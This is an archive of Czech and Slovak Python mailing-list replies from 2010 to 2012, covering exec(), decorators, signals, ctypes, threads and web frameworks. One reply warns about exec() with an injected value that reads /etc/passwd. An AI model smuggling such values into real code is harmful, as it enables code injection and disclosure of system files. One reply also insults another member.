Tak je normální uživatel root :-) Matěj asi chtěl říci, že root to může 
připsat i do systémových konfiguráků v /etc a pak to platí pro každého 
uživatele automaticky. I root má ale vlastní .profile a .bashrc ve svém 
domovském adresáři.

BTW slovo varování: neboj se vlka nic a klidně si s tím hraj, jen na jednu věc 
si dej pozor - z bashrc nikdy nic nevypisuj na výstup. Spouští se totiž i z 
různých neinteraktivních sezení které s tím mohou mít problém. Třeba ssh panel 
v  midnightu to velmi nemá rád a taková chyba se pak blbě hledá.
S profilem problém není.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] PYTHONPATH

2012-01-11 Tema obsahu Hynek Fabian
Wrapper nad interpretrem, vlastní site-packages, vlastní setuptools, 
konfiguráky…
Není to trochu overkill?

 vim, ze otazka byla na neco jineho, preci jen si ale neodpustim
 poznamku. radeji nez rucni editovani PYTHONAPATH, ci pridavani do
 sys.path zacnete pouzivat virtualenv [1].
 
 [1] http://pypi.python.org/pypi/virtualenv

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] PYTHONPATH

2012-01-11 Tema obsahu Hynek Fabian
Troufám si spoléhat že každý kdo se musí takhle ptát má bash.
A je to lepší rada než strkat to do .profile.

 Ne každý používá bash :)
 
 PM
 
 2012/1/11 Matej Cepl mc...@redhat.com:
  Dne 11.1.2012 07:36, Ing. Vladislav Ludík napsal(a):
 
  export PYTHONPATH=$PYTHONPATH:/cesta_k_mym_modulum
 
 
  Pro normálního uživatele přidejte tuto řádku do  ~/.bashrc (tedy .bashrc
  soubor v domácím adresáři). Po přelogování to bude nastavené natrvalo.
 
  Matěj
 
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] PYTHONPATH

2012-01-11 Tema obsahu Hynek Fabian
 Zřejmě to lépe nejde. Ale výsledek stojí za to - rozhodně lepší, než
 se snažit mít v systému nainstalované verze modulů, které by byly
 kompatibilní se vším, nebo být nucen izolovat aplikace do virtuálních
 serverů.

Zpětná kompatibilita je snad normální věc? Nekompatibilita by měla být výjimka 
a ne pravidlo. A když už, v první řadě by to měl řešit balíčkovací systém.
Tohle může být úžasná věc když mám přibalené knihovny k nějakému uzavřenému  
bastlu mimo balíčkovací systém, ale to je krajní případ.
V každém případě dotaz se konfliktních knihoven netýkal a používat takovou věc
jen kvůli nastavení PYTHONPATH mi pořád připadá jako rozbíjení vejce 
atomovkou.

___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] dotaz na webovou aplikaci v pythonu

2011-09-29 Tema obsahu Hynek Fabian
 A nyní jsem dost zmaten jestli mám Django začít studovat nebo ne protože
 názory se zde dosti liší.

S djangem se to má jako s každým frameworkem - udělá za tebe nějakou práci, 
když si dáš tu práci 
a naučíš se ho :-) Troufám si říci že v užitečnosti djanga se tu názory neliší, 
užitečnost 
(jakéhokoliv) složitého frameworku pro začátečníka je věc jiná.
Jak si tak čtu tvoje zadání, řekl bych že tě to zatím nemusí vzrušovat - než se 
protlučeš 
crawlováním, parsováním a indexováním stránek, budeš dost zkušený pythonista 
aby ses rozhodl 
sám.
Stručný přehled jak se to má s webem v pythonu:

* udelej-si-sam:
Ve standartní knihovně je připravený jednoduchý http server. Zahákuje socket, 
počká na dotaz, 
zavolá metodu get() nebo post() kterou mu dodáš a dá jí trubku na vstup a 
výstup. Všechno 
ostatní (parsování dotazu, dekódování formulářových proměnných, čtení a 
nastavování hlaviček) si 
musíš udělat ručně. Na skutečný provoz je to slabota, ale na rychlé vyzkoušení 
si něčeho je to 
krásně jednoduché. Pokud neumíš HTTP, je to dobrý způsob jak se ho naučit :-)

* mod_python
Modul do apače s víceméně stejnou funkčností, s tím rozdílem že většinu 
skutečné práce oddře 
chudák indián. Dotaz dostaneš rozebraný, předžvýkaný a předtrávený, ale pořád 
to bude holý dotaz 
takže třeba přebrání dat z formuláře si musíš řešit sám. Ditto hlavičky - apač 
poskytuje funkce 
na pohodlnější čtení a nastavování, ale rozumět jim pořád musíš sám. Samo o 
sobě je to spíš 
jednodušší než udělej-si-sám, jenže navíc musíš ještě nastavovat apače a 
mapování v něm.

* wsgi
Nejnovější móda ve světě pythonu, takto v postatě totéž jako bylo CGI pro perl 
před dvaceti lety 
:-) V podstatě jen rozhraní který může libovolný webserver implementovat aby mu 
libovolný 
framework rozuměl. Funkčně je to daleko primitivnější než mod_python, ale od 
toho jsou právě ty 
frameworky. Těch je milion a každý umí něco zajímavého, stačí si vybrat co ti 
vyhovuje. Djagno 
tě určitě nezklame, ale klidně ti může stačit nečo ještě jednoduššího. IMO ti z 
formulářů 
postačí víceméně jen vyhledávací pole, takže nebudeš potřebovat žádný 
přesložitěný MVC 
vylomeniny (Zope se vyhni širokým obloukem :-)

* knihovny
Pokud nepůjdeš cestou nějakého megahyperframeworku tak to ještě neznamená že 
musíš žít na 
stromě. Není problém vzít holý http server, napsat si pro pohodlí pár funkcí na 
přežvýkání 
vstupu (ve standartní knihovně je vše potřebné), přihodit nějakou hotovou 
knihovnu na 
šablonování (je jich milion), databázi (SQL Alchemy, amen) a máš víceméně 
hotovo. Když nenajdeš 
ve standartní knihovně, hoď dotaz sem do konfery, určitě se ti ozve i někdo 
jiný než djangisti 
:-)

To by na úvod snad stačilo…
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] pytho + php sifrovanie/desifrovanie

2011-06-06 Tema obsahu Hynek Fabian
Petr Messner (Saturday 04 of June 2011 18:59:56):
 AES má různé módy, použil jsem ECB, protože phpAES umí (podle
 informací na phpaes.com) v neplacené verzi jen tento mód. Bohužel
 nevím v čem se tyto módy liší. U ostatních módů se musí kromě klíče
 určit i inicializační vektor.
ECB aka Electronic Code Book sifruje kazdy blok zvlast, 
takze stejny plaintext povede k opakujicimu se bloku ciphertextu.
Opakujici se bloky usnadnuji to analyzu a nepovazuji se za bezpecne.
CBC a CFB mody soli sifrovana data predchozim ciphertextem,
takze k opakovani nedochazi.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] python post cez urllib na https

2011-05-27 Tema obsahu Hynek Fabian
Zachytis pakety a podivas se. Bezne se na to pouziva tcpdump,
ale ja mam radsi ngrep. Tedy napriklad:

ngrep host domena.tld

V SSL spojeni je prvnim paketu rozeznatelny certifikat,
zbytek je rozsypany caj.

 ako sa môžem uistiť, že dáta boli odoslané naozaj cez https
 zabezpečeným spojením a že teda sa nedali po ceste niekde odchytiť?
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] omezeni globalniho slovniku

2011-03-04 Tema obsahu Hynek Fabian
 Nechci rozebirat jestli je to dobre nebo ne ale proste to tak
 potrebuju.
Jsi pitomec. Nechci rozebirat jestli je to fer nebo ne ale proste to tak je.

Bezne se k invektivam uchyluji nerad, ale tehle se nedalo odolat :-p
Nechapu kde vubec beres drzost ptat se na radu a zaroven predem odmitat 
nejlepsi odpoved jakou ti mnohem zkusenejsi borci mohou dat.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] omezeni globalniho slovniku

2011-03-04 Tema obsahu Hynek Fabian
Pokud si chces nechat poradit, pak je to samozrejme jina.

1) exec nepotrebujes na zmenu lokalnich promenych. To cemu rikas promenne 
jsou ve skutecnosti jen jmena ve jmennych prostorech, v podstate obycejne 
slovniky. A na zmenu slovniku existuji lepsi zpusoby, vime?
V nejjednodussi verzi by tedy stacilo obalit pozadovanou funkcnost do funkce 
nebo metody ktera vrati slovnik. Potom staci neco ve stylu: 

locals().update(othervariables)

Vraceny slovnik muzes predem zkontrolovat na pricetnost (jenom kafe), doplnit 
jmenum nejaky unikatni prefix... fantazii se meze nekladou. Uplne stejne muzes 
presypat promene do instance, tridy nebo modulu do atributu __dict__. Dokonce 
bys mel, protoze narozdil od znasilnovani locals() je to z hlediska 
interpretru legalni.

2) exec nepotrebujes na pristup k promenlivym strukturam. Pokud mas nejakou 
'freeform' strukturu, (dejmetomu strom uzlu v xml dokumentu) a chces predat 
'cestu; k nejakemu uzlu ktery urcis az za behu, nemusis se matlat s 
generovanim syntakticky spravneho textu programu pro exec 
(rootnode.node[n].childnode[attr]), ale proste si onu cestu vyjadris jako 
funkci:

worknode = lambda x: x.node[n].childnode[attr]

Muzes se samozrejme odkazovat na lokalni promenne cimz vznikne klasicka 
uzavera (closure). Takovou funkci (nemusi byt v lamda forme, ale vetsinou je 
tak citelnejsi) muzes predat dal jako jakykoliv jiny objekt.


3) exec nepotrebujes k dynamickemu nacteni modularniho kodu, na to je mnohem 
lepsi builtin __import__, ktery importovany kod zaroven opatri vlastnim 
jmennym prostorem a vubec klasickym komfortem. Konkretni pouziti zavisi na tom 
ceho chces vlatne dosahnout.

Zapomel jsem na neco?


Martin B. (Friday 04 of March 2011 12:48:56):
 V Fri, 4 Mar 2011 12:00:58 +0100
 
 Hynek Fabian hynek.fab...@firma.seznam.cz napsáno:
   Nechci rozebirat jestli je to dobre nebo ne ale proste to tak
   potrebuju.
  
  Jsi pitomec. Nechci rozebirat jestli je to fer nebo ne ale proste to
  tak je.
 
 Oops, Tvuj nazor vyvracet nehodlam natoz komentovat.
 
  Bezne se k invektivam uchyluji nerad, ale tehle se nedalo odolat :-p
  Nechapu kde vubec beres drzost ptat se na radu a zaroven predem
  odmitat nejlepsi odpoved jakou ti mnohem zkusenejsi borci mohou dat.
 
 Drzost? Nerekl bych.
 Potrebuju != odmitat lepsi radu. Nikde nepisu ze se nenecham premluvit
 k lepsimu reseni a nechci si nechat poradit.
 
 Prinos tve odpovedi k reseni anebo nedejboze nejake jine reseni ... 0%.
 Mel by ses proste nektere veci naucit prejit s klidem.
 
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


[python] dekorovany dekorator

2011-02-25 Tema obsahu Hynek Fabian
Napadla mě lehce šílená myšlenka v souvislosti s nedávnou debatou o 
dekorátorech – nešlo by zařídit aby argumenty dekorátoru byly tam,
kde je všichni z nějakého záhadného důvodu očekáváme?

--- cut here ---

def plaindecorator(deco):
def argeater(*args, **kargs):
def funceater(fce):
return deco(fce, *args, **kargs)
return funceater
return argeater


# zkouska
@plaindecorator
def spam(fce, pwd):
def wrapper(*args, **kargs):
if pwd == raw_input(Password: ):
return fce(*args, **kargs)
else:
raise RuntimeError(Piss off)
return wrapper

@spam(it)
def ham(x):
print x

--- cut here ---

Dekorátor dekorátoru. Teď už mě v pythonu nepřekvapí nic. 
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python

Re: [python] Dekorátor

2011-02-21 Tema obsahu Hynek Fabian


Radek (Wednesday 16 of February 2011 15:23:07):
 nejdřív bych se uvedl, jsem takový opakovaný začátečník,  k Pythonu
 jsem naposled přičichl možná před osmi lety a nic moc.  Teď, asi tři
 měsíce zpátky jsem se k němu vrátil, protože si hraju s GAE/P.  Přes
 všechny problémy se zkouším prokousávat, ikdyž python bolí,
Něco děláš špatně. Kde to bolí?


 Jen tím že chci aby měl dekorátor parametry, se tak radikálně změní
 kód dekorátoru.
 Potřeboval bych nějak po lopatě vědět, co se uvnitř děje, protože
 cítím že ty dekorátory budu určitě používat ještě mnohem divočeji.
Vtip je v tom že se ve skutečnosti kód nijak nemění. Intuitivní představa že 
parametry v závorkách by měly být předány dekorátoru je jen optický klam.
Pokud mám dekorátor jménem spam

@spam

pak

@spam(dirt)

je ve skutečnosti:

@spam.__call__(dirt)

A skutečný dekorátor je výsledek tohoto výrazu. Proč tak složitě? 
Chování dekorátorů je koupodivu logičtější když zapomeneš na triviální 
jednoslovné dekorátory a zauvažuješ jak se interpret popere se složitějšími 
výrazy. Představ si například dekorátor který je metodou objektu:

@hamClass.spam(dirt)

Interpret ve skutečnosti uvidí toto:

hamClass.__getAttr__(spam).__call__(dirt)

Tady už není tak lehké říci co je samotný výraz a co by intutivně měly být
parametry výsledného dekorátoru. Ještě lepší to je pokud mám funkci která 
vrací dekorátor:

@ham(dirt).spam(dirt)

je vlastně

@ham.__call__(dirt).__call__(dirt)

Proč by prakticky stejný token jednou měl být klasické volání funkce a podruhé 
dekorátor? A pokud vymyslíš nějaké složité pravidlo jak to do sebe poznat:

@ham()

je dekorátor bez parametrů nebo funkce bez parametrů která vrací dekorátor?
Ergo naivní pohled na parametry dekorátoru by fungoval pokud by dekorátory 
byly omezeny jen na primitivní výrazy, což by byla škoda.
Python tedy považuje všechno za zavináčem za výraz který bude interpretován 
CELÝ a dekorátor je výsledek tohoto výrazu, včetně volání funkcí. To má krásný 
efekt že dekorátor je běžná funkce (tj. jakýkoliv objekt s metodou 
__call__()).
Objekty s tímhle nemají nic společného, pouze jmenný prostor uzávěry nahrazují 
jmenným prostorem instance (metoda __call__ třídy vrací instanci)
Osobně považuji použití objektů k dekoraci za nešťastné. Metoda uzávěra v 
uzávěře sice vypadá zezačátku děsivě, ale je aspoň přímočará a dá se pochopit 
co se děje uvnitř. Objekty jen nahradí jednu složitost jinou (kolik lidí chápe 
nuance metod __call__, __new__ a __init__?).


___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] sigint

2011-01-25 Tema obsahu Hynek Fabian
^C ma  defaultni handler, odchyt vyjimku KeyboardInterrupt.
Btw delat v kontextu signal handleru blokujici operace neni moc dobrej napad.

g...@post.cz (Tuesday 25 January 2011 06:37:51):
 Ahoj,
 
 v jedné části programu kopíruji soubory (obvykle velké) a chci mít
 zajištěno, že když dám ctrl+c tak že v cíli nezbude jen část souboru -
 chci zajistit jeho smazání přes odchycení sigint:
 
 def signal_handler(signal, frame):
 print 'You pressed Ctrl+C!'
 print dest
 if os.path.isdir(item):
 shutil.rmtree(dest)
 if os.path.isfile(item):
 os. remove(dest)
 sys.exit(0)
 
 signal.signal(signal.SIGINT, signal_handler)
 
 toto ale nefunguje, protože cíl je asi stále otevřen původním procesem
 kopírování. Díky za rady jak z toho ven.
 
 You pressed Ctrl+C!
 xyz.mkv
 Traceback (most recent call last):
   File D:\Zaloha\W7610034.py, line 48, in module
 shutil.copy(item, dest)
   File C:\prg\Python26\lib\shutil.py, line 88, in copy
 copyfile(src, dst)
   File C:\prg\Python26\lib\shutil.py, line 54, in copyfile
 copyfileobj(fsrc, fdst)
   File C:\prg\Python26\lib\shutil.py, line 30, in copyfileobj
 fdst.write(buf)
   File D:\Zaloha\W7610034.py, line 11, in signal_handler
 os. remove(dest)
 WindowsError: [Error 32] Proces nemß p°Ýstup k souboru, neboŁ jej prßvý
 vyu×Ývß
 jinř proces: 'xyz.mkv'
 
 
 
 xpsp3, py2.x
 
 Díky
 geon
 Pavel Kosina
 
 
 
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] sigint

2011-01-25 Tema obsahu Hynek Fabian
V *nixu emulator terminalu pri zavirani posle SIGHUP
Defaultni akce je ukonceni procesu coz by v pythonu melo 
vystrelit vyjimku SystemExit (IMO, nezkousel jsem to)

g...@post.cz (Tuesday 25 January 2011 19:15:12):
 Díky, funguje. A dá se ve win odchytit i zavření okna, kde běží
 pythonovský script?
 
 Hynek Fabian napsal(a), dne 25.1.2011 11:36:
  ^C ma  defaultni handler, odchyt vyjimku KeyboardInterrupt.
  Btw delat v kontextu signal handleru blokujici operace neni moc dobrej
  napad.
  
  g...@post.cz (Tuesday 25 January 2011 06:37:51):
  Ahoj,
  
  v jedné části programu kopíruji soubory (obvykle velké) a chci mít
  zajištěno, že když dám ctrl+c tak že v cíli nezbude jen část souboru -
  chci zajistit jeho smazání přes odchycení sigint:
  
  def signal_handler(signal, frame):
  print 'You pressed Ctrl+C!'
  print dest
  
  if os.path.isdir(item):
  shutil.rmtree(dest)
  
  if os.path.isfile(item):
  os. remove(dest)
  
  sys.exit(0)
  
  signal.signal(signal.SIGINT, signal_handler)
  
  toto ale nefunguje, protože cíl je asi stále otevřen původním procesem
  kopírování. Díky za rady jak z toho ven.
  
  You pressed Ctrl+C!
  xyz.mkv
  
  Traceback (most recent call last):
File D:\Zaloha\W7610034.py, line 48, in module

  shutil.copy(item, dest)

File C:\prg\Python26\lib\shutil.py, line 88, in copy

  copyfile(src, dst)

File C:\prg\Python26\lib\shutil.py, line 54, in copyfile

  copyfileobj(fsrc, fdst)

File C:\prg\Python26\lib\shutil.py, line 30, in copyfileobj

  fdst.write(buf)

File D:\Zaloha\W7610034.py, line 11, in signal_handler

  os. remove(dest)
  
  WindowsError: [Error 32] Proces nemß p°Ýstup k souboru, neboŁ jej prßvý
  vyu×Ývß
  jinř proces: 'xyz.mkv'
  
  
  
  xpsp3, py2.x
  
  Díky
  geon
  Pavel Kosina
  
  
  
  
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
  
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] vytvoření proměnných

2010-12-21 Tema obsahu Hynek Fabian
A je vam jasne ze exec() je pythoni obdoba nabite brokovnice?

y = ['1','2','3','4','5','open('/etc/passwd').read()']

Vsechny promenne v pythonu jsou jen odkazy v nejakem jmennem prostoru,
kam se da sahnou i mene nebezpecnym zpusobem:

for k, v in zip(x,y):
setattr(someobject, k, v)

'someobject' muze byt trida, instance, modul... cokoliv krome lokalniho 
jmenneho prostoru funkce. Ten neni sam o sobe objekt takze je dostupny jako 
slovnik volanim locals(), takze by stacilo

locals().update(dict(zip(x,y)))

Modifikace skrz locals() sice nejsou podle rtfm tak uplne koser,
ale funguje to a porad je to lepsi nez ten exec()


Ing. Vladislav Ludík (Tuesday 21 December 2010 18:49:33):
 Funguje to skvěle:
 
 x = ['a','b','c','d','e','f']
 y = ['1','2','3','4','5','6']
 
 for element in zip(x,y):
 exec ( '%s = %s' % element)
 
 print a, b, c, d, e, f
 1 2 3 4 5 6
 
 print a + b + c + d + e + f
 21
 
 V.L.
 
 Lansky, Milan napsal(a):
  exec(p1 + '=' + str(h1))
  
  -Original Message-
  From: python-boun...@py.cz [mailto:python-boun...@py.cz] On Behalf Of
  Ing. Vladislav Ludík Sent: Tuesday, December 21, 2010 12:45 AM
  To: Konference PyCZ
  Subject: [python] vytvoření proměnných
  
  Zdravím všechny,
  
  poradí někdo účinnou a jednoduchou metodu vytvoření spojení názvů
  proměnných s jejich hodnotami:
  
  x = {p1, p2, p3, ...pn}
  y = {h1, h2, h3, ...hn}
  
  kde p jsou proměnné a h jsou jejich hodnoty.
  
  Výsledkem by měly být deklarované proměnné s jejich hodnotami:
  p1 = h1
  p2 = h2
  p2 = h3
  .
  .
  pn = hn
  
  
  Díky, zdraví
  
  V.L.
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
  
  
  This e-mail and any attachment is for authorised use by the intended
  recipient(s) only. It may contain proprietary material, confidential
  information and/or be subject to legal privilege. It should not be
  copied, disclosed to, retained or used by, any other party. If you are
  not an intended recipient then please promptly delete this e-mail and
  any attachment and all copies and inform the sender. Thank you.
  
  
  ___
  Python mailing list
  Python@py.cz
  http://www.py.cz/mailman/listinfo/python
  
  __ Informace od NOD32 5721 (20101221) __
  
  Tato zprava byla proverena antivirovym systemem NOD32.
  http://www.nod32.cz
 
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] ctypes a file object

2010-11-29 Tema obsahu Hynek Fabian
Tvuj dotaz jsem pochopil tak, ze nevis jak z posixoveho ciselneho handle 
ziskat platny ukazatel na ceckovou reprezentaci souboru. Zbytek zaridil man :)
Z podle komentare to vypada ze open_osfhandle() dela totez nejakym wydlackym 
zpusobem, takze volani fdopen je uz nadbytecne.

Zdenko Podobný (Sunday 28 November 2010 20:50:14):
 toto je trochu na mna zhurta ;-) Priklad by mi dost pomohol... Inak zabudol
 som - potrebujem pokial mozno multiplatformove riesenie. Neviem, ci som
 dobre pochopil odporucanie, ale na win som to skusil takto:
 
 import ctypes, msvcrt, os
 
 leptonica = ctypes.cdll.leptonlib
 fp = open(phototest.tif, r)
 fh = msvcrt.get_osfhandle(fp.fileno())  # get file handle for the file
 descriptor fd = msvcrt.open_osfhandle(fh, os.O_RDONLY)  # Create a C
 runtime file descriptor from the file handle ofd = os.fdopen(fd, 'r')
 npages = leptonica.tiffGetCount(ofd)
 
 Vysledok:
 
 Traceback (most recent call last):
   File stdin, line 1, in module
 ctypes.ArgumentError: argument 1: type 'exceptions.TypeError': Don't know
 how to convert parameter 1
 
 Zd.
 2010/11/24 Hynek Fabian
 hynek.fab...@firma.seznam.czmailto:hynek.fab...@firma.seznam.cz
 Numericky handle ziskas metodou fileno() pythoniho file objektu.
 Z nej muzes dostat ceckovou FILE* strukturu libc funkci fdopen().
 
 Zdenko Podobný (Wednesday 24 November 2010 17:47:09):
  Zdravim,
  
  potrebujem v pythone robit s viacstrankovymi tiff subormi a po roznych
  testoch a googlovani som skoncil na tom, ze cisto python riesenie
  neexistuje. Najrozumnejsie sa mi javi pouzitie ctypes a kniznice
  leptonica. Problem je v tom, ze v niektorych pripadoch jej potrebujem
  posunut file object.
  
  Napr. (C kod):
  filein = phototest.tif;
  fp = fopen(filein, r);
  tiffGetCount(fp, npages);
  fprintf(stderr,  Tiff: %d pages\n, npages);
  fclose(fp);
  
  Ked to skusim spravit v pythone, tak dostanem chybu:
  
  import ctypes
  leptonica = ctypes.CDLL(liblept.so)
  filein = phototest.tif
  fp = open(filein, r)
  npages = leptonica.tiffGetCount(fp)
  
  Traceback (most recent call last):
File stdin, line 1, in module
  
  ctypes.ArgumentError: argument 1: type 'exceptions.TypeError': Don't
  know how to convert parameter 1
  
  Skusal som to aj cez PyFile_AsFile ale to tiez skonci s chybou:
   import ctypes as C
   lib = C.CDLL(liblept.so)
  
   class FILE(C.Structure):
  ... pass
  ...
  
   FILE_P = C.POINTER(FILE)
   C.pythonapi.PyFile_AsFile.argtypes = [C.py_object]
   C.pythonapi.PyFile_AsFile.restype = FILE_P
   fp = C.pythonapi.PyFile_AsFile(phototest.tif)
   npages = lib.tiffGetCount(fp)
  
  Error in tiffGetCount: stream not defined
  
  Skusal som googlovat, ale sa nic funkcne sa mi nepodarilo zostavit... Vie
  mi s tym niekto pomoc?
  
  Zd.
 
 ___
 Python mailing list
 Python@py.czmailto:Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] ctypes a file object

2010-11-24 Tema obsahu Hynek Fabian
Numericky handle ziskas metodou fileno() pythoniho file objektu.
Z nej muzes dostat ceckovou FILE* strukturu libc funkci fdopen().


Zdenko Podobný (Wednesday 24 November 2010 17:47:09):
 Zdravim,
 
 potrebujem v pythone robit s viacstrankovymi tiff subormi a po roznych
 testoch a googlovani som skoncil na tom, ze cisto python riesenie
 neexistuje. Najrozumnejsie sa mi javi pouzitie ctypes a kniznice
 leptonica. Problem je v tom, ze v niektorych pripadoch jej potrebujem
 posunut file object.
 
 Napr. (C kod):
 filein = phototest.tif;
 fp = fopen(filein, r);
 tiffGetCount(fp, npages);
 fprintf(stderr,  Tiff: %d pages\n, npages);
 fclose(fp);
 
 Ked to skusim spravit v pythone, tak dostanem chybu:
 
 import ctypes
 leptonica = ctypes.CDLL(liblept.so)
 filein = phototest.tif
 fp = open(filein, r)
 npages = leptonica.tiffGetCount(fp)
 Traceback (most recent call last):
   File stdin, line 1, in module
 ctypes.ArgumentError: argument 1: type 'exceptions.TypeError': Don't know
 how to convert parameter 1
 
 Skusal som to aj cez PyFile_AsFile ale to tiez skonci s chybou:
  import ctypes as C
  lib = C.CDLL(liblept.so)
 
  class FILE(C.Structure):
 ... pass
 ...
 
  FILE_P = C.POINTER(FILE)
  C.pythonapi.PyFile_AsFile.argtypes = [C.py_object]
  C.pythonapi.PyFile_AsFile.restype = FILE_P
  fp = C.pythonapi.PyFile_AsFile(phototest.tif)
  npages = lib.tiffGetCount(fp)
 
 Error in tiffGetCount: stream not defined
 
 Skusal som googlovat, ale sa nic funkcne sa mi nepodarilo zostavit... Vie
 mi s tym niekto pomoc?
 
 Zd.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] vlakna,cpu

2010-11-18 Tema obsahu Hynek Fabian
Interpret pythonu upouziva jeden globalni zamek pro pristup ke vsem promennym.
AFAIK vlakna ma v pythonu smysl pouzivat jedine pro kod z externich knihoven 
nebo pri (ne)cekani na blokujici operace.
Na vytizeni vice jader samotnym pythonem je potreba odforkovat cele instance 
interpretru. 

vepro (Thursday 18 November 2010 16:31:03):
 Pratele,
 Napsal jsem si aplikaci, ktera vyuziva vlakna v pythonu (modul
 threading). Muzu libovolne volit od jednoho vlakna az po X vlaken. Co se
 deje je, ze pokud spustim kod pouze na jednom vlakne je uloha dokoncena
 o dost rychleji, nez pokud ji pustim na vice vlaknech. Tusim, ze nejaky
 cas zabere rezie ,ale v tomto bych to nehledal. Procedury v
 jednotlivych vlaknech jsou temer nezavisle (pouze jeden zamek u
 sdilene promenne). Co je mi divne a myslim, ze v tom je zakopan pes,
 ze vyuziti procesoru je zhruba stejne (100%) pro ulohu bezici v jednom,
 tak i ve vice vlaknech. Vypada to tak, ze vice vlaken vyuziva pouze
 jedno jadro procesoru (onech 100%), tak jako jednovlaknovy proces. Je
 tedy nutne nejak pythonu rici, ze ma vyuzivat vice jader pro vlakna?
 Dekuji za pripadnou radu
 Petr
 ___
 Python mailing list
 Python@py.cz
 http://www.py.cz/mailman/listinfo/python
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] metoda str

2010-11-03 Tema obsahu Hynek Fabian
 Ehm, ne, o to my nešlo, šlo mi o přepsání __builtin__ třídy str tak abych
 přepsal chování instancí Stringu.

Tak jak to píšes ale na builtin nesáhneš!
class str(str) ti udělá objekt jménem str v LOKÁLNÍM jmenném prostoru, 
nikoliv v builtins. V tomto kontextu tvůj lokální jmenný prostor je globální 
prostor modulu, ergo v jiných modulech zůstane str nezměněn.
Sáhnout do builtins je možné a prosté:

class MyStr(str): pass
__builtins__.str = MyStr

a je to. Všimni si že nemusíš mást budoucí generace tím, že to pojmenuješ 
stejně - konstruktor je sice viditelný pod jménem 'str', ale 
__class__.__name__ hotového objektu bude MyStr. Metody, potomci, etc. se bude 
odvolávat na objekt MyStr, pouze uživatelé jména 'str' potřebují znát nový 
objekt pod starým jménem.

Leč, rychlý experiment ukáže, že interpret nekonstruuje řetězcové literály 
pomocí __builtins__.str, ale drží někde vlastní referenci na StringType. Řekl 
bych, že je to dobře, hrabání se v builtins je nejvetší prasárna nad jakou by 
se ještě dalo přivřít oko :-)
Teoreticky bys mohl změnit chování zabudovaných řetězců hrabáním se přímo v 
jejich třídě:
a.__class__.asx = asx
Změna přes referenci na třídu se okamžitě projeví u všech existujících 
instancí, potomků etc. Předefinováním metody __new__() bys mohl dokonce 
dosáhnout aby konstrukce objektu vracela instanci objektu úplně jiného typu, 
napříkald MyStr...
Na(ne)štěstí taková konstrukce nefunguje přímo na zabudované objekty,   
protože ty nemají vlastní jmenný prostor ale jen neměnitelné sloty.
Běžně to ničemu nevadí, protože jmenný prostor si můžeš opatřit prostě tím,  
že podědíš, čímž jsme zpátky u nevrtání se ve střevech interpretru :)

Jiné řešení které mě napadá - projít rekurzivně zadaný jmenný prostor a 
instance StringType nenápadně proměnit. Není to sice tolik automagické, ale 
taky mnohem bezpečnější.
___
Python mailing list
Python@py.cz
http://www.py.cz/mailman/listinfo/python


Re: [python] Python

2010-11-01 Tema obsahu Hynek Fabian
Pro zacatek bych odporucil 
- naucit se html a zaklady css
- naucit se aspon zaklady pouzitych sitovych protokolu - ip a http
To je zaklad webovych stranek. Holy zaklad statickych, nehybnych sranek. 
Slozitejsi veci se resi bud programovanim na strane klienta v Javascriptu,
nebo na strane serveru v nejakem silnejsim programovacim jazyce.
Python je uzitecny pouze v poslednim pripade, na serveru. Je tedy jen jedna z 
vrstev pomerne sloziteho prostredi. Rozhodne to neni dobry zpusob jak se ucit 
programovat v neznamem jazyce.
Pokud/az ti nebude stacit Javascript, muzu python klidne doporucit jako dobry 
jazyk pro zacatecnika, ale NE na webu. Lepsi je zacit s jednoduchymi 
konzolovymi aplikacemi kde nemusis resit kodovani, prenosove protokoly, 
bezstavovost, vlaknovani a podobne webove radosti.

Eclipse je vyvojove prostredi, v podstate prerostly textovy editor - velmi 
mocny, ale taky slozity. Pokud nechces psat v Jave nebo C++ radeji se mu 
vyhni. Porid nejaky jednoduchy textovy editor - pspad, jedit nebo neco 
podobneho  - dulezite je aby to bylo prehledne a pohodlne. Staticke stranky 
jde ladit rovnou v prohlizeci, nic vic neni potreba.
A ano - v eclipsech jsou uz hotove sablony webovych aplikaci, ale bez znalosti 
toho co jsem psal vyse jsou k nicemu. 


Peter Beňa (Friday 29 October 2010 01:03:17):
 Dobry den,
 prepacte ze vyrusujem, ale uz som zufaly. Pisem ohladom jakyka PYTHON a
 chcel bu som sa spytat ze ci sa v nom daju programovat web stranky a ci
 existuje nejaky web server alebo nieco cim by som si to potom mohol
 pozriet ako to vyzera (funguje).Skusam kody v programe eclipse ..je na to
 vhody? a co by ste mi mohli este poradit alebo odporucit na zaciatok?
 
